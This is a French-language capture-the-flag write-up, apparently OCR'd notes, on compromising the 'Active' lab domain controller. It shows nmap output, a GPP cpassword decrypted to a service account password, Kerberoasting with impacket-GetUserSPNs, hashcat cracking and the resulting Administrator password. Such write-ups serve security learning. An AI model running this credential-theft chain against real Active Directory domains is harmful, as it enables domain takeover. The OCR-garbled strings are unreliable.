Active

vendredi 28 mars 2025 12:34

sudo nmap -p- -sV -sC 10.129.162.154 --open

[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-28 12:25 CET

Nmap scan report for 10.129.162.154

Host is up (0.10s latency).

Not shown: 65482 closed tcp ports (reset), 30 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT  STATESERVICE ~ VERSION

53/tcp open domain  Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:

|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-28 11:27:282)
135/tcp open msrpc  Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site:
Default-First-Site-Name)

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site:
Default-First-Site-Name)

3269/tcp open tcpwrapped

5722/tcp open msrpc  Microsoft Windows RPC

9389/tcp open mc-nmf .NET Message Framing

47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49152/tcpopen msrpc  Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc  Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49157/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0

49158/tcp open msrpc  Microsoft Windows RPC

49162/tcp open msrpc Microsoft Windows RPC

49166/tcp open msrpc  Microsoft Windows RPC

49168/tcp open msrpc  Microsoft Windows RPC

Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1,
cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| _clock-skew: 1s.
| smb2-time:
date: 2025-03-28T11:28:28
_ start_date: 2025-03-28T11:24:14

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.85 seconds

Toujours dans ce sens !!

On ouvre le fichier groups.xml récupérer du smb share :

image="2" changed="201

ies action="1 m‘u\amc— fullName="" description="" cpassword ="SdBSHOWRZLT]{/
QSQFechB3ijA98gw9guK0h]0doqh+ZGMaXOszCpZ.’ixUﬂLEuNHBpGSaSVYde/NgleQ changeLogon="0
noChange="1" neverExpires="1" acctDisabled="0" userName b SVEITGS '/
</User>

</Gr

Users :

On a un mot de passe crypté avec le cpassword qui est enfait un GPP donc on puet le décrupter
avec gpp-decrypt

Sve_tgs -
edBSHOWhZLTjt/QS9Felc)83mjWA98gw9guKOhJOdcqh+ZGMeX0sQbCpZ3xUjTLFCUNH8pGS5asVY
dYw/NglvmQ

SVC_TGS : GPPstillStandingStrong2k18
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Bon 2 je blogue donc je regarde les ports et je vois qu'il y a le port 88 quoi est Kerberos donc je
tente une attaque de kerberoast :

sudo impacket-GetUserSPNs -request -dc-ip 10.129.162.154 active.htb/svc_tgs

Et ga fonctionne 11!

sudo hashcat -m 13100 hashes.kerberoast
Jusr/share/wordlists/rockyou.txt

Administrator : Ticketmaster1968
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